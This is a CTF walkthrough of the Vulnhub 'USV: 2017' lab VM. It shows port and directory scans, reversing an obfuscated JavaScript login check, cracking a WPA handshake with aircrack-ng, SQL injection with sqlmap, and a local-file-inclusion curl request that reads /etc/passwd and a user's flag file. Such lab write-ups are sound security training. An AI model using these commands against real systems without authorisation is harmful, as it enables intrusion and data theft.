Vulnhub: USV 2017 Boot2Root VM

Introduction

Today we’re going to be taking a look at the “USV: 2017” VM from Vulnhub! This was a super fun CTF, comprised of 5 flags in the format of country:MD5 hash.

This CTF had a bit of everything and required some nice creative problem solving to complete!

NMap

root@kali:~# nmap -sV -sC -p- 192.168.56.105

..........................
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info: 
| epmd_port: 4369
| nodes: 
|_ ejabberd: 39343
5222/tcp open jabber ejabberd (Protocol 1.0)
| xmpp-info: 
| STARTTLS Failed
| info: 
| xmpp: 
| lang: en
| server name: localhost
| version: 1.0
| capabilities: 
| 
| unknown: 
| 
| errors: 
| host-unknown
| host-unknown
| (timeout)
| auth_mechanisms: 
| 
| compression_methods: 
| 
| features: 
| 
|_ stream_id: 13459363937921166114
5269/tcp open jabber ejabberd
| xmpp-info: 
| Ignores server name
| info: 
| xmpp: 
| version: 1.0
| capabilities: 
| 
| pre_tls: 
| xmpp: 
| 
| capabilities: 
| 
| features: 
| TLS
| post_tls: 
| xmpp: 
| 
|_ capabilities: 
5280/tcp open ssl/xmpp-bosh?
| ssl-cert: Subject: commonName=ejabberd/organizationName=stl.int
| Not valid before: 2017-10-23T20:50:49
|_Not valid after: 2018-10-23T20:50:49
|_ssl-date: TLS randomness does not represent time
15020/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=a51f0eda836e4461c3316a2ec9dad743/organizationName=CTF/stateOrProvinceName=Paris/countryName=FR
| Not valid before: 2017-10-16T19:54:300
|_Not valid after: 2018-10-16T19:54:30
|_ssl-date: TLS randomness does not represent time
39343/tcp open unknown
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)
Service Info: Host: localhost; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

 

W0Ot, we got our first key in the SSL-cert details of the second apache installation on port 15020!

Dirb

Running Dirb on port 80 yields the following –
root@kali:~# dirb http://192.168.56.105:80
GENERATED WORDS: 4612

---- Scanning URL: http://192.168.56.105:80/ ----
==> DIRECTORY: http://192.168.56.105:80/admin2/ 
+ http://192.168.56.105:80/index.html (CODE:200|SIZE:3236) 
+ http://192.168.56.105:80/server-status (CODE:403|SIZE:222)

---- Entering directory: http://192.168.56.105:80/admin2/ ----
+ http://192.168.56.105:80/admin2/index.html (CODE:200|SIZE:1976) 
==> DIRECTORY: http://192.168.56.105:80/admin2/js/

---- Entering directory: http://192.168.56.105:80/admin2/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sat Jan 27 13:58:44 2018
DOWNLOADED: 9224 - FOUND: 3

We’ll check out that “admin2” in a second as it looks interesting.. Running dirb on port 15020 yields –

root@kali:~# dirb https://192.168.56.105:15020

---- Scanning URL: https://192.168.56.105:15020/ ----
==> DIRECTORY: https://192.168.56.105:15020/blog/ 
+ https://192.168.56.105:15020/index.html (CODE:200|SIZE:3275) 
+ https://192.168.56.105:15020/server-status (CODE:403|SIZE:222) 
==> DIRECTORY: https://192.168.56.105:15020/vault/

---- Entering directory: https://192.168.56.105:15020/blog/ ----
==> DIRECTORY: https://192.168.56.105:15020/blog/admin/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/css/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/images/ 
+ https://192.168.56.105:15020/blog/index.php (CODE:200|SIZE:4466)

---- Entering directory: https://192.168.56.105:15020/vault/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: https://192.168.56.105:15020/blog/admin/ ----
+ https://192.168.56.105:15020/blog/admin/index.php (CODE:302|SIZE:0) 
==> DIRECTORY: https://192.168.56.105:15020/blog/admin/uploads/

---- Entering directory: https://192.168.56.105:15020/blog/classes/ ----
+ https://192.168.56.105:15020/blog/classes/index.php (CODE:200|SIZE:0) 
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/

---- Entering directory: https://192.168.56.105:15020/blog/css/ ----
+ https://192.168.56.105:15020/blog/css/index.html (CODE:200|SIZE:1)

---- Entering directory: https://192.168.56.105:15020/blog/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: https://192.168.56.105:15020/blog/admin/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/ ----
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/audio/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/backgrounds/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/database/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/examples/ 
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/images/ 
+ https://192.168.56.105:15020/blog/classes/securimage/index.html (CODE:200|SIZE:1) 
+ https://192.168.56.105:15020/blog/classes/securimage/index.php (CODE:200|SIZE:0)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/audio/ ----
==> DIRECTORY: https://192.168.56.105:15020/blog/classes/securimage/audio/en/ 
+ https://192.168.56.105:15020/blog/classes/securimage/audio/index.html (CODE:200|SIZE:1)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/backgrounds/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/database/ ----
+ https://192.168.56.105:15020/blog/classes/securimage/database/index.html (CODE:200|SIZE:2)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/examples/ ----
+ https://192.168.56.105:15020/blog/classes/securimage/examples/index.html (CODE:200|SIZE:1)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: https://192.168.56.105:15020/blog/classes/securimage/audio/en/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
(Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Sat Jan 27 13:56:22 2018
DOWNLOADED: 41508 - FOUND: 11

 

Loads of treats here. Let’s have a look at the admin2 page on port 80.

Port 80

After navigating to port 80 we’re presented with a simple login form with just a password field. We try the obvious things like “admin” and “password” etc. but have no luck. Looking at the page source it appears that when submit is clicked some obfuscated Javascript fires –
…………………….

<script>
var _0xeb5f=["x76x61x6Cx75x65","x70x61x73x73x69x6Ex70","x70x61x73x73x77x6Fx72x64","x66x6Fx72x6Dx73","x63x6Fx6Cx6Fx72","x73x74x79x6Cx65","x76x61x6Cx69x64","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x67x72x65x65x6E","x69x6Ex6Ex65x72x48x54x4Dx4C","x49x74x61x6Cx79x3A","x72x65x64","x49x6Ex63x6Fx72x72x65x63x74x21"];function validate(){var _0xb252x2=123211;var _0xb252x3=3422543454;var _0xb252x4=document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];var _0xb252x5=md5(_0xb252x4);_0xb252x4+= 4469;_0xb252x4-= 234562221224;_0xb252x4*= 1988;_0xb252x2-= 2404;_0xb252x3+= 2980097;if(_0xb252x4== 1079950212331060){document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[8];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[10]+ _0xb252x5}else {document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]]= _0xeb5f[11];document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]]= _0xeb5f[12]};return false}
</script>

…………………….

That’s horrendous. After beautifying it and working out what it’s doing (removing the two red herrings too…) I wrote some code to perform the algorithm in reverse to make it generate a key for us.
……………………..

function dostuff(){
 alert("starting");
 var found = false;
 var min = 999999;
 var max = 999999999;
 for(var i = min; i < max; i++){
  var key= i.toString();
  key += 4469;
  key -= 234562221224;
  key *= 1988; 
  if (key == 0x3d63580c7f634) {
   console.log("the key is " + i);
   found = true;
   break;
  } 
 };
 if(!found){
  alert("not found, increase min and max values a bit");
 }
}

Which Merrily spat out “77779673” as the answer.
……………………..

Trying that password in the login form worked –

Italy:46202df2ae6c46db8efc0af148370a78

Yay!! We got out second flag! that’s Italy and France now.

Onwards!

Port 15020

Navigating to the “vault” directory found in the dirb output above yields an index file with three hundred links to directories named “door 1” to “door 300”, inside of each door are one hundred directories named “vault 1” to “vault 100”, so at this point I decided that I didn’t fancy navigating through 30,000 directories by hand! … Let’s do some Bash-fu which pulls them all down and look for obvious differences in sizes πŸ™‚
………………………….
root@kali:~/vaults# wget -r --no-check-certificate https://192.168.56.105:15020/vault/
root@kali:~/vaults# find . -type f -exec du -a {} + | sort -n -r | less

51468Β  Β ./192.168.56.105:15020/vault/Door223/Vault1/rockyou.zip

120Β  Β  Β ./192.168.56.105:15020/vault/Door222/Vault70/ctf.cap

[SNIP irrelevant!]

 

………………………….
Rockyou.zip just contains the famous password list of the same name and ctf.cap is a pcap file.
Nothing interesting jumped out of the pcap file apart from the WPA authentication handshake, so we use aircrack-ng and our handy dandy rockyou.zip to crack the password for it in case it yields additional treats.
………………………….
root@kali:~/vault# cd Door223/Vault1/; unzip rockyou.zip
root@kali:~/vault# aircrack-ng Door222/Vault70/ctf.cap -w Door223/Vault1/rockyou.txt
………………………….
30 minutes later the following pops out –
………………………..
                                 Aircrack-ng 1.2 rc4
[00:27:11] 3448348/9822769 keys tested (2149.87 k/s)

Time left: 49 minutes, 26 seconds 35.11%

KEY FOUND! [ minion.666 ]

Master Key : CA 8E A6 F3 BB 7F 29 CD D9 F8 91 43 CC 26 2D B6 
8C 1A 05 1A 39 67 94 5A 60 81 E6 6F FF 91 0F 28

Transient Key : 9E DD C0 66 D0 3B 99 A5 9F 41 D6 F9 40 95 55 04 
B1 87 ED 42 24 1A A2 6C B3 C5 36 D2 62 46 AB 28 
92 D6 09 8D B8 69 23 C7 EB 2E 01 0E CB BB 40 36 
6F 11 68 CC 99 80 DF 36 FC 8D 8A 48 50 88 F9 C1

EAPOL HMAC : FB C1 48 13 17 D1 EA 23 FE CF 93 52 97 0B 83 4A

But we don’t know what that key relates to just yet, so we’ll keep it aside for now and go take a look at the blog.

Blog

Nothing immediately interesting on the blog. There’s a HTML comment in the source code pointing to download.php, which I think can be leveraged to download arbitrary files and one of the comments on the blog mentions “I keep a flag.txt in my house”, so I think the two things will be relevant later!
There’s also an admin panel login! After prodding it a little bit I used “admin” as the username and “minion.666” as the password and it let me in!
I was a bit flummoxed here as the administrative controls don’t seem to work…? but after looking at the page source I uncovered –
Philippines: 551d3350f100afc6fac0e4b48d44d380Β 

Amazing. After some more URL tampering I spotted that if I mess with the ‘id’ parameter of ‘edit.php’ I can get the form to either display or not display, which implies that an SQL injection vulnerability is potentially present, so let’s chuck the URL into sqlmap and see what sticks.

………………….

root@kali:~# sqlmap -u 'https://192.168.56.105:15020/blog/admin/edit.php?id=1' -H 'Cookie: PHPSESSID=ter19tu7gu6a17mo3ng0426ij2'
......
[17:21:34] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 197 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 6268=6268

Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
Payload: id=1 AND 5510=BENCHMARK(5000000,MD5(0x4e665477))
---
[17:21:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL <= 5.0.11
[17:21:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] shutting down at 17:21:36

………………….

Which confirms that the app is vulnerable. Now we can add some “dump” options to get all of the data out of the database and peruse it.

…………………………

root@kali:~# sqlmap -u 'https://192.168.56.105:15020/blog/admin/edit.php?id=1' -H 'Cookie: PHPSESSID=ter19tu7gu6a17mo3ng0426ij2' --tables
........
| users
| comments
| posts
.......

………………………..

I’d normally use the same command as above with “-T users –dump” at this point to get all of the treats from the database but it wasn’t playing ball, so I went Googling to see what other options there were and apparently sqlmap supports a “sql-query” parameter to give it a custom query.

……………………….

root@kali:~# sqlmap -u 'https://192.168.56.105:15020/blog/admin/edit.php?id=1' -H 'Cookie: PHPSESSID=ter19tu7gu6a17mo3ng0426ij2' --risk 3 --level 5 --sql-query "select * from users where id=2"
[18:03:09] [INFO] retrieved: Laos
[18:03:09] [INFO] retrieved: 66c578605c1c63db9e8f0aba923d0c12
[18:03:11] [INFO] retrieved:  
[18:03:11] [INFO] retrieved: Evolving from single-celled yellow organisms at the dawn of time, Minions live to serve, but find^C
[18:03:16] [WARNING] user aborted during dumping phase
[18:03:16] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105'

[*] shutting down at 18:03:16

 

………………………

That’s our fourth flag found! Notice that we execute “select * from users where id=2”, this is because “id=1” gave us back the admin user which we’ve already got credentials for.

Just one flag left to go!

So let’s go and prod that download.phpΒ some more. It was returning an error saying that the “image parameter was missing” even if I provided it like download.php?image=/etc/passwd….. so let’s try a post request with curl instead.

…………………….
root@kali:~# curl -k -XPOST -d "image=/etc/passwd" https://192.168.56.105:15020/blog/download.php
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
teo:x:1000:1000:teo,,,:/home/teo:/bin/bash
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:108:65534::/run/proftpd:/bin/false
ftp:x:109:65534::/srv/ftp:/bin/false
kevin:x:1001:1001::/home/kevin:
epmd:x:110:113::/var/run/epmd:/bin/false
ejabberd:x:111:114::/var/lib/ejabberd:/bin/sh
oana:x:1002:1002::/home/oana:
root@kali:~#
…………………….

Awesome, so we’ve got a nice LFI vuln on the site now. Let’s try and find that flag.txt which was alluded to earlier!

On the blog there was a banner image with three minions “Kevin”, “Phil” and “Dave”, the /etc/passwd output shows that ‘kevin’ is a valid user on the box so let’s go and try his home directory.

……………………..

root@kali:~# curl -k -XPOST -d "image=/home/kevin/flag.txt" https://192.168.56.105:15020/blog/download.php 
Croatia: e4d49769b40647eddda2fe3041b9564c

……………………..

Bingo, got our 5th and final flag!

 

Conclusion

Really, really fun challenge. Creative and challenging but without being too obscure or so overly difficult that it’s impossible for yours truly to do the challenge alone.
Many thanks to the authors and Vulnhub πŸ™‚

Add a Comment

Your email address will not be published. Required fields are marked *

I accept that my given data and my IP address is sent to a server in the USA only for the purpose of spam prevention through the Akismet program.More information on Akismet and GDPR.